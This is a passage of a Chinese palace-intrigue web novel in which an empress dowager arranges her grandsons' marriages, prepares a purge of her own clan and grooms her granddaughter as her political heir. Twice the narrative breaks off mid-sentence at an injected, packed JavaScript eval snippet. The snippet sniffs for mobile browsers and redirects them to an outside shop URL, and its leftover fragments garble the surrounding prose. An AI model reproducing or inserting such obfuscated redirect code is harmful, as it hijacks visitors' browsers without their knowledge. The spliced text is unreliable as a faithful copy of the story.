周靖一脸的莫名其妙:“皇祖母,你明明知道我已心悦赵博士长女多年。她要留家侍奉亲人,照顾年幼弟妹才耽误这么多年的……” “让太后为难了,妾原青灯古佛了此残生!”王琳徒然打断周靖的话,掩面急奔出门。 “琳娘!”程太后抬手呼唤一声。 王琳已经跑远,程太后一脸无奈地对周靖说:“哀家已经同王御史家定下了你们的婚事。” 话虽如此,目光却如刀子,刺得周靖生疼。 周靖急忙看向程曦,向她求救。 程曦轻轻对他摇摇头。 周靖脸色一瞬间苍白下去,他心脏狂跳,不禁猜测:太后此举就是为了惩罚我,故意让我难堪的。 他动了动嘴唇,却不敢再还嘴,只沉默站在原地。 程曦趁机开口:“既然二皇兄能享齐人之福,大兄又为何不可呢?” 程太后为难道:“赵博士桃李满天下,赵大娘也是个顶好的女子,哪有许婚时是正室,到了出嫁的时候给人做妾的?太委屈她了。” 一句“委屈”王琳的母亲孟夫人脸上勃然变色。 孟夫人急忙开口:“小女已嫁之身再嫁,臣妇请为妾室。” “不可。”程太后皱眉,声音一瞬间沉了下去,“天下未定,哀家颁旨鼓励寡妇再嫁,轮到哀家亲自挑选的孙媳妇,怎能因其再嫁之身,就退后做妾。” 周靖彻底被吓得慌神了,他脱口而出:“培兰会愿意为了我做妾的,皇祖母不必为难了。” 话声在内殿散开,贵妇人又被震惊得安静了。 程太后脸色更加难看,最终却只能摆摆手:“罢了,既然如此,就这样吧。王大娘为妻,赵大娘居侧。” “你走吧。”程太后拧眉呵斥。 周靖不敢再留,白着脸从内殿离开。 原本热闹的气氛经过这么一番折腾,被彻底耗尽。 程太后的脸色始终未能恢复,许多人家的夫人有眼力地主动起身告辞。 程曦忙道:“外祖母,还有三皇兄呢。” 程太后冷哼一声:“老三不是成天到晚就喜欢往他母族那几个表妹闺房里钻么,就定了陈家三姐妹一同出嫁吧,日后也好作伴。” 程太后冷着脸随便支使个宫女:“去前殿,让哀家的意思传给官员,让司天监挑选个好日子走礼。” 所有人都听出来了,程太后这是一直不喜欢三皇子与母族陈家太亲近,又赶上大皇子的婚事得罪了程太后,所以程太后索性拿着三皇子的婚事撒气呢。 真倒霉。 不过没点运道在身上的人,大约日后也不会有所成,三皇子……约莫着与东宫无缘了。 程太后因为大皇子婚事发火的事情没有封口,各家贵妇归家之后,传言顷刻间如野火燎原,传遍前朝。 日暮时分,赵博士主动进宫请罪。 程太后歪在躺椅上,宫女给她捶着腿。 赵博士姿态顺服,请罪后安静地停在原地,等待程太后裁决。 程太后没有废话,直接说:“你可愿降赵培兰为侧室,成全这桩婚事往下进行?” 身为周靖的授业恩师,女儿却只能做妾。 但赵博士没有二话,直接应了程太后的请求:“臣明白太后如此安排的意思,赵家上下愿为太后尽忠。” 程太后挥退宫女,终于起身坐正,脸上露出笑模样:“过段日子,哀家欲修撰一部学典开民智,此事交给你主持。” “臣谢太后恩典。小女也当为太后尽心、效力。” “嗯,去吧。哀家信你们父女的忠心。”程太后笑着亲自送赵博士出门,“好好办差。” 当天晚上,皇宫里匆匆凑了六十八抬聘礼送到赵家,随后用一顶轿子把赵培兰抬进大皇子周靖所住的兴章院。 新婚之夜,赵培兰没有与新晋丈夫、皇长子周靖享受儿女情长,而是偷偷来到程曦暂住的偏殿,亲自向她致谢。 程曦把她送走后,回到长寿宫寝殿。 * 程曦脱掉披风,钻进程太后被窝,贴着外祖母,把头钻进她怀里:“事情了结,我终于明白外祖母为什么暗示我让大皇兄主动求娶,又当众发火了。” 程太后闭着眼睛,手掌在程曦背后轻轻拍着,声音懒洋洋的:“曦儿,人在上位,下面人就会时时刻刻揣测你的神态、动作、语言。不要直接把你的心思说出来,他们不会信的。下面人只相信自己推测到的信息。” “用笑容和怒火刺激他们的情绪,这样他们才会配合你的言语推断出自己想出的所谓真相,一步一步往下走,抵达你要的结果。” 程曦呼吸着长寿宫常燃的香料气味,脑子是从未有过的清醒。 周靖和赵培兰的婚事不过是个引子,程太后真正要的是这桩婚事会在朝堂引发的后续涟漪。 所有人都是程太后手中的棋子,连成程曦的各种反应也不例外。 现在,程太后在教导她如何下棋。 “谢外祖母指点,我看明白了。”程曦仰头看着程太后那张平静困倦的脸,轻声问,“外祖母,您想好,要彻底把皇权握在手中,再也不与人分享了?” 程太后卷起嘴角,答非所问:“三年前,你舅舅夺权的时候,我终于明白‘天予不取,反受其咎’的道理。我此生同一种错误,从不犯第二回。” “好孩子,睡吧,明天开始,哀家要作为执棋人拨弄天下了。” * 天彻底黑了。 天地之间,只有程太后温暖的怀抱如此真实。 程曦闭上眼睛。 她有点不舒服,或许半夜就要发热了。 但这个预感让程曦更安心了。 这天下,只有外祖母与她最亲近,如果皇权是程太后要的,那她会陪着外祖母一步一步往下走,不论结局如何。 * 月上中天,程太后只觉得怀里抱了个火炉,往程曦额头上一摸,滚烫。 “快叫太医!” 长寿宫乱成一团。 * 海上生明月,天涯共此时。 公主府的小院内,没等到程曦归来的刘问枢冻了整整一晚,在天光破晓之际,也发起热。 * 辽阳候府在第二天接到了王琳为皇长子正妻的旨意,确定了王琳的地位。 正在哭闹着收拾行李要出家的王琳终于安静了。 * 荣昌县主病了,程太后有了更冠冕堂皇的理由留在长寿宫处理政务。 一众官员想要得到程太后的指示,只能从长乐宫的勤政殿被转移到长寿宫的太平殿中。 太平殿内,一模一样的格局摆设、一模一样的桌椅凳子、一模一样的笔墨纸砚。 官员还有什么不明白呢。 来了的就找到自己的位置坐下,没再回去。 过午肚子开始叫唤的时候,太平殿里已经坐满了官员。 大家相视一笑,刘廷尉主动起身,提起水罐朝外走,笑道:“我去提水,咱们一起喝凉白开灌大肚,把饥饿的午后忍耐过去。” “哈哈哈。”殿内官员们苦中作乐地跟着笑起来。 “来来来,小心着些,别弄洒了汤汤水水——呦,刘廷尉,快别出门,这就放饭了,让奴婢手底下这群皮猴子打水去。” 背着身子叮嘱手下内侍的成业险些和出门提水的刘廷尉撞成一团。 被刘廷尉扶住站稳之后,成业一连串地致谢,直接抢走刘廷尉手里的水罐,塞给身后一个小黄门手里,在小黄门脑袋上拍了一巴掌,“娘娘怎么吩咐你们的,一上午了,居然还让官员喝凉水。快去,取茶饮来。” 刘廷尉赶紧拦住成业,“成公公,不必如此,我们都清楚来内廷处理政务的规矩。” 成业主动给刘廷尉拉开房门,弯腰请人入内后,跟着走进去,“唉,可不敢混为一谈。勤政殿的规矩是先帝定的,太平殿的规矩是太后娘娘颁布的。” 成业说完,做了个请的手势,刘廷尉坐回座位。 跟着成业进门的内侍鱼贯而入,每人提着两个食盒钻进侧间,侧间的食物香气蒸腾而出,迅速而霸道地侵占了太平殿前殿。 官员们被香味引得食指大动,肚子咕咕叫的声音此起彼伏。 成业站到前方,提声宣布:“娘娘的意思,日后在太平殿办公,提供饮食。茶饮十种,时刻在侧间温着。侧间另外备下了点心六款,晌午提供膳食。只不过娘娘特意叮嘱过,不准把食水带进内殿,免得在文书留了脏污,请诸位到侧间进食饮水。” “娘娘厚爱。” “多谢娘娘慈善。” 官员们看得出来这是太后故意对他们施恩,可这些不起眼的照顾才是天长日久,真正对他们有利的。 官员原本那一点程太后强挪办公场所的不满,也被肚子里的馋虫给吃光了。 “诸位,请——” 成业让开通往侧间的路,官员们马上起身,成排过去侧间用饭。 有肉有菜,汤瓶齐备,一顿丰盛的午餐下肚,整个人都安定了。 官员们在内侍提供的清水净手后,返回前殿重新开始办公。 吃过饭,官员们小声向成业打听:“太后亲政,今日是另有要事忙碌,才没出现的吗?” 照理说,官员是不能打听宫中贵人们行踪的,可因为搬迁的事情,官员们一开始都认定了程太后是想要把他们质疑的时间熬过去,才故意避而不见的。 现在官员们已经接受了这个结果,程太后还不出来,官员们终于品出不对劲了。 成业脸上笑容当场淡了,压低声音解释:“驸马日前接受调令,前往余吾州外任。长公主不舍夫婿离别,来宫里闹了一场,回家又责备荣昌县主不知道心疼父亲,在娘娘面前美言几句。县主躲了长公主一日,心里还是害怕,又躲进宫求娘娘保护,这不,小小一个人儿,吓病了,夜里在娘娘怀里发起高热。娘娘亲自照料了大半夜,没精神了。” 一如官员不该问,成业也不该回答,更不该回答的这么仔细。 现在前因后果和缘故全都加上,官员还有什么不明白。 这就是程太后让成业对外说明的理由。 官员们相互打着眉眼官司,心里都有了成算。 ——程太后之前说要对程家动手,清理枯枝败叶,驸马程玉就是她动手的第一刀。 亲女儿来闹也无法让她收回成命,别人就彻底免开尊口吧! 至于程家,大约等太后愿意出来的时候,就能看完这么多年积累的罪状,要直接拿人了。 官员们不再追问,各自回到自己的岗位上开始工作。 * 程太后真的在寝殿的小书房里继续批阅状告程家的奏折,但程曦喝药后已经退热,恢复了神采。 她在一旁帮着程太后记录程家各支、各人具体罪行,还能腾出时间讯问之前的疑惑。 “外祖母,我送给您的三个战奴呢?上次见到的时候,他们跟值守的内侍站在一块,间隔几日进宫,怎么他们都不见了。” 程太后目光不离奏章,随口答:“都是有本事的,哀家把人安置到京郊大营摔打了。” 按照夏国的规矩,每五年会从边军有功又无法升迁太高的士官里面挑选品貌俱佳的人才,输送进京,安排到京郊大营里面,称为拱卫京师的战士。 留京一年后,只要在军队比武大赛中胜选,就可以转入禁军,守备皇城。 一套流程堪称优中选优。 能在皇宫里守备的禁卫都是最好的兵员。 能让程太后见过这些优秀士兵之后,还对刘家三兄弟夸赞一声“有本事”,可见不止战绩出众,言谈方面也有能令程太后关注的点。 程曦回忆起刘问枢说战俘全是精锐的话,眼睛转了转,试着问:“外祖母,若是这批战俘都不差,您敢用么?” 程太后摇头:“他们可以去军中搏前程,但不可以看守皇城。” 程太后费工夫看了程曦一眼,警告:“君子不立危墙之下。万不可将此等要务托付可疑之人。” 程曦刚生出的一点冒险心思顿时熄灭。 “那……母亲的婚事?”程曦转移话题。 “永安侯?哀家让他带着一家儿女入宫了,等一会你就能见到了。”程太后头也不抬地回答。 程曦心中不忍,轻声问:“外祖母,我娘……她什么性子,您又不是不知道,她就非得再嫁吗?” “对,她非得再嫁。哀家打掉程辉这个领头人,就是为了让程家在我身边拧成一股绳的。你太年轻了,还不行,所以你娘必须长脑子了。” 程太后放下笔,脸上没有一丝温情:“食君之禄,忠君之忧。她受我庇护,享福三十年,到了该回报我的时候了。” 程曦与程太后对视,问出心中疑惑:“……那我呢?外祖母是如何规划我的未来的?” 少女目光灼灼,在程太后的目光下,不避不让。 18.第 18 章 灯火常燃,明辉不灭。 小书房的宫人都像是宫廷本身的装饰,安静地立在一旁,不发出声响。 程太后索性放下笔,转身和程曦面对面,直视彼此。 程太后忽然笑了,她放松地撑着额头,笑道:“曦儿,你觉得我宠爱你母亲吗?” 程曦张开嘴,刚要回答“宠爱至极”,但一想到,程太后前脚决定杀了驸马程玉,后脚就请永安侯裴俊进宫,让他无缝接替驸马的位置,她又不知道如何评价了。 程太后自己倒是毫不介意。 她笑着说:“哀家前面三十年过的不容易。后来先帝身体垮了,目不能视,哀家反而过上了独得圣宠的生活。你娘就是在那时候降生的。” “世间的女孩,少有像她这样,父亲喜欢柔软无力的孩子,母亲也想要通过她来弥补自己苦涩青春,于是被养得无法无天的。” 程太后回忆起女儿刚及笄那年的模样,手情不自禁摸上程曦的脸蛋,脸上笑容变得无奈了不少:“鑫儿生得英气,先帝宠她,听信臣子和宫人都说鑫儿面貌集父母之所长的夸赞,一改‘富贵荣华、平安喜乐’这些吉祥字眼,给了鑫儿一个和阳光一样耀眼的‘日耀’做封号。” “可哀家不瞎,我知道那只是哄人的话,但鑫儿信了,真以为自己相貌出众。世人喜欢女人,永远是艳光逼人、明媚多情的脸……” “你这张脸,倒是真集世间容光,艳如朝霞。” 程太后忍不住叹了一声,声音透出几分衰老,“程玉那个童养媳,哀家不是全不知晓,但我查到她膝下没有一个养活的孩子,又被程玉挪去他处,以为程玉至少脑子明白什么能做什么不能。既然鑫儿喜欢,就随便她成婚,养在身边玩一玩。” “程玉姓程,只要不过分,算是成全了哀家提拔娘家的意思;他又是无权无势的旁支,正好能俯身伺候哀家的掌上明珠。本该是天作之合。” 结果在十几年后,变成一场笑话。 “‘父母之爱子,则为之计深远’。哀家以为护着她就算是宠爱,可鑫儿如今三十岁多了,她的心智却一如孩提时,行事无度全凭个人喜恶。” 程太后心疼地摩挲着程曦的脸颊:“等到她成婚后,明明不用自己养孩子,却还是一味任性,把你丢在宫中,让哀家教养,哀家终于发现……是我错了,我把她纵坏了。” 程太后摇头,眼中隐含几分苦涩,“你虽托生在你娘肚子里,可你在我膝头一点点长大,政务看法、为人处事样样似我,在我这里的份量比你娘还要重几分。越是把你养大,哀家越发现是哀家没有教养好她。” “现在大错已成。哀家也不年轻了,我不知道哪一天会闭上眼睛,所以更要在没死之前,把她那些不好的性子硬扳回来。” 程曦不禁有了猜测:“如此说来,永安侯是个稳妥的人选了?” 程太后颔首:“他是个极有君子风的人,做事有章法又不失温情,家中子女也是这样的性子。不瞒你说,因为他太讲道理了,哀家自己是不待见这种人的。但他这样,治鑫儿的毛病正好。” “程家原本也是当地大户,咱家和裴家曾经通婚几回的。裴俊过世的亡妻,都和咱们程家沾亲带故。即便没有现在的婚事,你也要对他那几个孩子叫一声表哥表姐。等鑫儿再嫁了,你若喜欢就常去见见;若不耐烦,只管上渌水山房住着,哀家赐给你宅院,就是为了让你松快过日子的。” 程太后的每一句都在回答她对女儿的感情和培养。 这些话听在程曦耳朵里却表现出了另一层含义。 ——程太后嘴里说着日耀长公主,实则却在回答程曦之前的问题。 她是如何规划程曦未来的? 在程曦牙牙学语的时候,程太后把程曦抱在膝头,用奏章上的字句为她开蒙。 在程曦年级少长时候,带着她一起临朝听政,让她看着朝臣在外如何与人争长道短,阅尽权力倾轧。 现在,程太后更是接着程曦捅出来的这桩“皇长子内宫偷”的烂事,把整个程家的枯枝烂叶都折进去,顺势给程曦开府选贤,自己招纳下属的机会。 桩桩件件都与养活日耀长公主这个完全符合刻板印象的高门贵女不同。 即便培养皇孙,程太后也没有花费过如此巨量的心血。 ……她是程太后精神上的继承者。 “外祖母,我明白了。”程曦停止追问。 程太后摇摇头:“连哀家都还没把这条路走通,你能明白什么。” “先,走一步,看一步吧。”程太后停顿一瞬,随后低语。 她重新把注意力放回程家的恶行中,程曦也继续记录。 烛火彻夜不熄,月亮升上最高点的时候,程曦将誊抄好的记录放到程太后手边。 程太后快速扫了一遍已经看过的罪证,把文书摔在桌面:“程辉……哀家真是小看他了。” 灯火下,纸面赫然写着“岁时饥,军粮不至,以战马为食,开战无马,殆误战机”。 难怪上一场大战准备了那么三年之久,却只得到一场惨胜,导致朝臣纷纷倒戈,投向成顺帝。 原来其中还有她委以重任的好家人的手笔! “呵呵……”程太后捂住额头,笑声从低到高,“哀家还以为真有什么天命所归,才让我准备充分却只配惨胜,原来全是人祸。” 她越看那罪证越是恼火,抓起文书几乎想再摔一摔解恨。 “外祖母,别动手!不然我还要再抄一份。好多字呢,我手酸了。”程曦一脸尴尬的拦住程太后,急忙把文书抱进怀里护着。 “你、你……唉!”程太后一时间哭笑不得,涨得她头疼的怒火散了大半,“好了,放开吧,哀家不摔你辛苦抄写的东西。” 程太后干脆抻了个懒腰:“明日事,明日愁。夜深了,不折腾了,歇吧。” “你今晚还和哀家一起……” 程曦抱着文书摇头:“外祖母,我今晚想回公主府。” “宫门早就落锁了。还回去做什么?”程太后直接吩咐,“你今晚继续宿在宫中,明日我让人把馨儿叫进宫来,一道用早膳。” 提起女儿,程太后也是一阵头疼,带着程曦往寝殿的内殿走,嘴里情不自禁抱怨:“她即便再不喜欢永安侯,至少陛下也是她亲哥哥,也曾在她年幼时带她玩耍,怎么陛下病了,她不知道多进宫看看。” 程曦不知道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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夏国人出生入死一辈子都未必能有登上天子堂的机会,襄国战俘在战场上杀夏人有功,就可以轻易上台? 她母亲这是要毁了夏国的根基么。 程曦深吸一口气,努力好声好气地解释:“母亲,倒也不必对他们如此高看。” “你什么意思,说的颠来倒去的。他们到底有没有本事?”日耀长公主质问。 程曦看向程太后,指望外祖母帮忙解决麻烦的亲娘,程太后却微微对她摇头,没有一点插手的意思。 程曦正纳闷,站在日耀长公主下首,等待入席的永安侯已经面无表情地说:“襄国精锐,平均每人杀我军六人。安置一名殉国军人,需纹银六两、粟米五石。若战奴是襄国将领,每人手上的人命更不会少于三十条,毁掉多少家庭。” “太后仁善,只将战俘调入京中修缮城墙、挖掘河道,未直接斩首要其性命。长公主食万民供养,安敢让反贼入朝,坏我夏国社稷?” 日耀长公主顿时涨红脸,怒气冲冲地瞪着永安侯。 程曦坐在边上,简直想给永安侯鼓掌。 真正的猛士! 难怪上次母亲进宫跟他一起吃饭,不欢而散。 19.第 19 章 日上高空,明光千道。 通道中的灯盏被一一熄灭。 日光爬上门槛和窗栅,乌木的轮廓被流动的金光勾勒出细致的边角。 宫女手捧珍馐,从数长寿宫东侧的小厨房急匆匆穿过数重垂花门,抵达内宫饭厅。 永安侯站在桌前微微躬身,姿态恭谨,他的儿女站在永安侯身后,低着头,态度更加板正。 宫女们将美食一道接着一道摆上餐桌,仿若对桌前的争执一无所闻。 待餐品全部上桌,传膳宫女退出饭厅,只余几个程太后惯用的年长嬷嬷随侍在侧,为其布菜。 日耀长公主终于不再忍着脾气。 她怒气冲冲地指着永安侯:“我与母亲说话,何时轮到你插嘴!” 永安侯毫不退让:“此为社稷事,怎可轻言。请长公主三思,勿公私不分。” “裴俊,你只是我周家的一条……” 程曦迅速夹了一筷子点心贴到日耀长公主嘴唇上:“母亲尝尝,外祖母特意给你的点心,前几日都没有!” 酥皮点心撞上嘴唇,撞碎的细渣落到桌上。 日耀长公主一瞬间蹙紧眉头。 程曦软声恳求:“母亲,就尝尝吧。” 母女对视片刻,日耀长公主张开嘴含住点心,程曦马上开心地笑起来。 她趁机开口:“其实,既然是有本事的人,母亲不妨挑几个,留在公主府中驱策。府中的产业众多,倒有不少缺合适的人手管理。” 日耀长公主没有非让人进军队或者上朝堂的想法,她不过是随口一说,想给新得趣的人找个出路。 日耀长公主想了想,退让些许:“倒也不失为一个办法,我再想一想如何安排他们。” 她瞟了身旁的永安侯,冷哼:“果然还是自家人才会一心一意为我思考,不似某些人,只会讲些冠冕堂皇的废话。” 永安侯好似没听见日耀长公主的讥讽,在向程太后行礼后,带着儿女落座,一脸平淡地用饭。 吵架最起码需要两个人,只有一个人输出是吵不起来的。 永安侯不还嘴,日耀长公主就没机会再开口。 她憋得满心难受。 咽下几口餐点,她反而憋出一肚子气。 程太后不管桌面上的口舌,吵不吵的,她都当成是百灵鸟在唱歌。 吃到七分饱,程太后放下筷子,选了一碗补气血的牛肉汤一勺一勺慢慢喝着,同外孙女闲聊起来。 程太后:“曦儿,旨意已下,今日无事,跟日耀回府整理行李去吧,趁早搬到渌水山房。有什么不喜欢、不满意的地方,只管通知工部,让他们派人修改。” 程曦颔首,接受程太后的好意,坦然道:“外祖母放心,我明白的。若有需要,我不会跟您客气的。” 修缮别宫的钱本就计划好了要花出去,不会因为程太后将别宫赏赐给荣昌县主,把“别宫”改名为“渌水山房”就回收。 程太后处置程家,退让了这么大一步,只要朝臣长了脑子,都不会为了这笔原本就要花的钱没事找事。 程曦顺势道:“说起房间的摆设,我真想要向您求个恩典。” “要什么?”程太后鼓励地微笑着,等待程曦管自己要东西。 程曦脸上笑容散开:“要外祖母和母亲的墨宝——渌水山房那么多房舍,每个都要有匾额。我自小文采不出众,要请你们替我费心了。” 她声音放轻,小小声补充:“以后我独自在外居住,既见不到外祖母,也没有母亲在身边,夜里想家或是害怕了,走出门仰头一看,就安心了。” 程曦这样的身份,从小就有专门陪着睡觉的宫女。 这种“陪着睡”还包括了了好几种情况。 第一种,丫鬟睡前把床加热;第二种,丫鬟入睡时抱着她,防止程曦滚下床或是夜惊;第三种,丫鬟睡在床下踏脚上,准备程曦夜半口渴为她端茶倒水;第四种,丫鬟睡在寝房的外间软塌上,随时准备在程曦半夜想上厕所的时候,给她拿取夜壶。 一群人围着伺候,程曦有什么可怕的? 人人都知道这就是个讨巧的话,但不管程太后还是日耀长公主,听了之后,只觉得开心——家里的漂亮小孩同自己撒娇呢。 “哈哈哈,好,哀家的小心肝,你放心,我和日耀都答应你。”程太后笑得舒心。 永安侯侧目,深深看了程曦几眼,一声不吭的把视线重新放回餐点上。 用过早膳,程曦随着日耀长公主一起离开。 永安侯走在她们母女身后,并不多话。 外出鞋子的鞋底由鞣制过的牛皮制成,日耀长公主和程曦相伴而行,走在石砖上,只有环佩碰撞的悦耳轻响。 程曦竖起耳朵也没能听到永安侯的脚步声。 她回过头,意外发现永安侯的视线看着地面。 按规矩来说,永安侯确实不应该随便看比他身份更高的女眷,但这是道德上的要求,并非明确规定。 而且,永安侯走在她们身后啊! 反正日耀长公主这么讨厌他,肯定不会回头看他,走在身后偷偷看几眼根本无所谓,永安侯居然完全不抬头?! ……确实是古板的正人君子了。 程曦收回视线,安静地出了宫。 出宫后,日耀长公主上了马车。 程曦在登上自己马车之前叫住永安侯,轻声说:“永安侯,我近日有乔迁之喜,府上女郎一定要来参加宴席。” “静候县主的帖子。”永安侯回以同样的轻声。 两人相互行礼,分别登上各自车驾,分道扬镳。 * 公主府还是往日的模样。 程曦跟着日耀长公主回去,立刻被叫进正院。 长公主坐在上首,身旁站着一个气质斯文的男人。 地毯上,摆满了几十只箱笼。 “县主万福。”气质斯文的男人主动向程曦行礼问候,“多谢县主救命之恩,若非县主施恩,奴恐怕熬不过今年了。” 原来这就是那晚隔着屏风见过的襄国战奴。 程曦点点头,并没与他说话,直接向日耀长公主发出疑问:“母亲叫女儿过来,有什么要吩咐?” 日耀长公主张开嘴,在发出声音之前,先情 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17133708|194813||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不自禁漏出一声泣音。 她捂着眼睛撇开脸,过了一会才用手绢遮着脸说:“……这都是你父亲这些年在府中穿过的、用过的东西。我,下过令,不准他以后再入府了。既然外派,你就让人给他送过去吧。” 长公主原本还想遮掩一二,可一说起话来便遮掩不住伤心了。 她掩面痛哭:“我什么都不顾,这些年一心一意为他筹划。他胆敢骗我!他如何对得起我一片真心!” “呜,那么小的孩子……他也好意思收在房里,他怎么不立刻死了!” 反正已经当着女儿面哭出来,丢光面子了,日耀长公主索性不再遮掩,边哭边提声质问:“还有你——你简直和你爹一样,他外面有女人,你说就够了,为什么还让人把尸首送来给我面前过目?你安得什么心啊?非让我气死我才满意吗?” 这问题,回答起来就颇有难度了。 一个不好,母亲肯定还会挑她毛病。 程曦看了看日耀长公主,斟酌着用词慢慢说:“此事是女儿配着外祖母整理奏章时意外得知,因为牵扯到母亲的脸面和名声,不好声张,只能含混着。母亲放心,牵扯此事的人都另外犯了别的事情,外祖母马上要在朝堂处置他们,保证没有一个会泄露这个秘密。” 日耀长公主泪眼朦胧地看着程曦:“你保证,外头不会有人拿我说嘴?” 程曦笑着点头,一脸笃定地点头:“母亲别担心,他们犯事还罢了,把您的脸面往地上踩,我和外祖母怎么能让他们逍遥?” “小混账,不早说,害我这两天提心吊胆的。”日耀长公主登时破涕为笑。 她心情恢复了,也能正常交流了:“女人和孩子无辜,她们还有家人么?等案子结束,找点理由,送些银钱过去。” “母亲放心,我让人好好处理他们的身后事了。” 得到程曦的承诺,日耀长公主彻底放心了。 她迅速把这件事情抛之脑后,把身旁站着的男人推到程曦面前,“这是西河先生。他为你办差很是尽心,你给他谋个职务吧。” “母亲今日早膳时候频频美言,就是为了这位西河先生吧?他也帮我缓和了同母亲的关系,我会酬谢他的。”程曦微笑承诺。 承诺了酬谢,却没有保证会给冯西河找个职位安置。 日耀长公主没听出女儿言辞里挖的坑,仍旧开开心心的,不断点头:“嗯,好,你把人带走吧。” “西河先生,跟我来吧。”程曦直接把冯西河带走。 * 万金院中,丫鬟们得到搬家的命令,正在大丫鬟们的命令中忙进忙出的归置箱笼。 程曦看了一眼,询问过收拾行李需要的时间,她把冯西河带到水边的凉亭。 程曦自顾自坐下。 凉亭下,人造溪流的水面结了一层薄冰,程曦顶着这层薄冰,语气冷淡:“冯先生,我这人喜欢让人自己选择未来——你想去我名下的田庄当个管事,还是让刘问枢恢复自由身,你们一起离开。” 冯西河看着少女单薄的背影,眼中露出杀意,试探道:“县主何出此言?难道不怕纵虎归山?” 20.第 20 章 冰面只薄薄一层,却将潺潺流水封在下方不得伸展。 程曦看着透彻的水面,语声平淡:“我母亲虽然是个简单的人,但她不是个好应付的人。冯先生只在雪夜鼓动巧舌,就能解了我的麻烦,必定非常人。您这样脑筋太灵活的人,我不敢留。” “那……刘问枢呢?”冯西河不死心地追问。 水面映出程曦的笑容:“冯先生这问题好没意思,他若不是个重要的人,你又何必来问我?” 人只会对自己在意的方面提出问题。 当冯西河问出问题,答案其实就已经摆在程曦面前了。 程曦终于回身,倚着围栏和冯西河对上视线。 少女面庞稚嫩,脸颊上的婴儿肥都尚未完全消去,可她那双黑白分明的眼睛像个漩涡,和程曦对视不过两三个呼吸,冯西河后背已经生出一层细汗,情不自禁攥紧了拳头,浑身僵硬。 这是被掠食者盯住的反应。 这一刻,冯西河心中无比清楚,面前的少女年岁再小,也不可小觑。 “县主,奴……” 程曦突然笑了。 一瞬间如春暖花开,笼罩着冯西河周身的紧张悄然隐退。 程曦指着旁边的石凳,“冯先生一块坐吧,你确实替我解决了一桩麻烦事。我这人向来赏罚分明,若你对我提的两个奖赏都没兴趣,也可以直接说一说你想要什么。” 有程曦这种洞察人心的能力,冯西河哪里还敢轻举妄动。 他只能尴尬地笑了几声,推脱道:“我是少将军身边一谋士,做不来下决定的活。县主还是让少将军决定我的去留吧。” 程曦听到这些话,不禁又笑了。 “我给过刘问枢一个机会,让他在自己得到自由和给他叔父收殓之间选择,他选了完成他叔父的身后事。到你这里,你也选了其他人。你们这支襄王军,与我所知的,不尽相同啊。” 冯西河脸上的狼狈一闪而过,干巴巴地“哈哈”笑了几声,却连回答都不敢了。 “怎么,看不起女子,觉得女子不通军事,不想解释?”程曦发问的角度刁钻。 人最怕面对的问题,就是充满情绪的问题。 因为即便答案是正确的,可能也“不对”,把人狠狠得罪了。 这一回,冯西河头上冷汗都流下来了。 他心道:荣昌县主如此难缠,哪有一丁点传闻中的“细致体贴”? 屁股还没把凳子坐热乎,冯西河又站起来了,“奴不敢。” “是‘不敢’,不是没这么想过,冯先生果然看不起我。都说臣下随主人,看来刘问枢表面尽心侍奉我,实则心里也是不服气的。”程曦顺势耍起大小姐脾气,对守在凉亭外的丫鬟吩咐,“把刘问枢叫过来。” 身为谋士,没帮到刘问枢就算了,身在敌国,他还给刘问枢找事? 这位荣昌县主简直比她母亲还难对付一百倍! 冯西河简直想给程曦跪下了,无可奈何地恳求:“县主,奴错了,您别把事情牵扯到少将军身上。奴跟您说实话还不成么?” 程曦顺势抬手,制止丫鬟招人的动作,“你说吧。” “京城近郊战俘营中带回来的襄国战俘,并非都是襄王军。” 冯西河憋了一会,只吐出这么一句话来。 程曦敲敲柱子:“细说。” “荣昌乡君既然是程太后养大的,应该听过不少襄国的传闻——襄国国君为三家共主,君王直领的军队才是襄王军,其它三家领的是自家养的亲兵。” 所以他们是“刘家军”,而非“襄王军”。 “你们替襄王断后了,不会这时候要告诉我,刘家其实并不忠心于襄王吧。”程曦抓住话柄反问。 “断后的有一部分是襄王军,我们刘家……”冯西河嘴角出现一个极其微妙的、充满讽刺的笑容。 “刘家军那时候军心散了,战士们都已经没有战斗意志了,大败也不稀奇。” 程曦马上追问:“什么事情导致了这么严重的后果?” 冯西河拱手作揖后,干脆跪在地上叩首,“事涉少将军,不该由奴解释。乡君,此事是刘家蒙受的奇耻大辱,恳请乡君也不要向少将军追问。” 在战俘营的时候,冯西河没下跪,在程曦面前出现之后,冯西河也没下跪,偏偏因为一桩可能襄国战俘人尽皆知的流言蜚语时,冯西河下跪了,只求程曦别多问。 看来此事,确实十分屈辱了。 换句话说,刘问枢以及整个刘家军出身的战士,在那场大战被俘虏之后,都和襄王决裂了。 简直太棒了。 程曦好心情地点头:“那好,我们暂时不谈这桩旧闻——说吧,你要什么赏赐。” 如此难缠的荣昌县主居然退让了?! 冯西河怀疑程曦只是嘴上说说,但巨大的地位差距也没有什么能让他制止程曦的办法,只能赌一把:“县主永远不对少将军提起此事,这就是奴想要的奖赏。” “我答应过的另算,你只管说想要的奖赏,别坏了我的规矩。”程曦仍旧没说死前头的事情,催促冯西河要赏赐。 冯西河思来想去,最后只好说:“那请县主重新给少将军一个出身吧。” “可。”程曦对未曾挥退的丫鬟吩咐,“准备一套校尉的装备,给刘郎君送去。为他设户籍,安排进我开府后的卫士中。” 程曦瞥了冯西河一眼,“冯先生,校尉每年薪俸不少,战奴是对外公开售卖的,如果他觉得自己养得起奴仆,就让刘问枢把你们都买回去吧。” 什么? 这个荣昌县主居然这么好心? 她难道不怕刘家军的人全部在少将军身边聚集之后,集结成无法控制的势力么? ……如此胸襟和胆识。 “谢县主宽仁。”冯西河嗓子发哑,实在无话可说,只能心悦诚服地再次郑重其事地跪谢程曦。 